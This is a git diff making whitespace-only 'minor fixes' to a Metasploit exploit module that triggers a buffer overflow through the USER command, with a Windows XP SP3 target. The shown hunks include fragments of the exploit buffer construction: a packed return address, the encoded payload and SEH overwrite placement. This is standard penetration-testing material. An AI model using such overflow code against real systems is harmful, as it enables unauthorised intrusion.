Minor fixes
parent
30a3d8bb96
commit
20f0a58c6a
|
@ -6,7 +6,7 @@
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
# Framework web site for more information on licensing and terms of use.
|
# Framework web site for more information on licensing and terms of use.
|
||||||
# http://metasploit.com/framework/
|
# http://metasploit.com/framework/
|
||||||
##
|
##
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
@ -27,10 +27,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
This module uses the USER command to trigger the overflow.
|
This module uses the USER command to trigger the overflow.
|
||||||
},
|
},
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'hdm', # Original author
|
'hdm', # Original author
|
||||||
'otr' # Windows XP SP3
|
'otr' # Windows XP SP3
|
||||||
],
|
],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Version' => '$Revision$',
|
'Version' => '$Revision$',
|
||||||
'References' =>
|
'References' =>
|
||||||
|
@ -123,8 +123,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
buf << [ target['Ret'] ].pack('V') * 2
|
buf << [ target['Ret'] ].pack('V') * 2
|
||||||
buf << payload.encoded
|
buf << payload.encoded
|
||||||
else
|
else
|
||||||
buf = rand_text_english(2048, payload_badchars)
|
buf = rand_text_english(2048, payload_badchars)
|
||||||
seh = generate_seh_payload(target.ret)
|
seh = generate_seh_payload(target.ret)
|
||||||
buf[target['Offset'], seh.length] = seh
|
buf[target['Offset'], seh.length] = seh
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue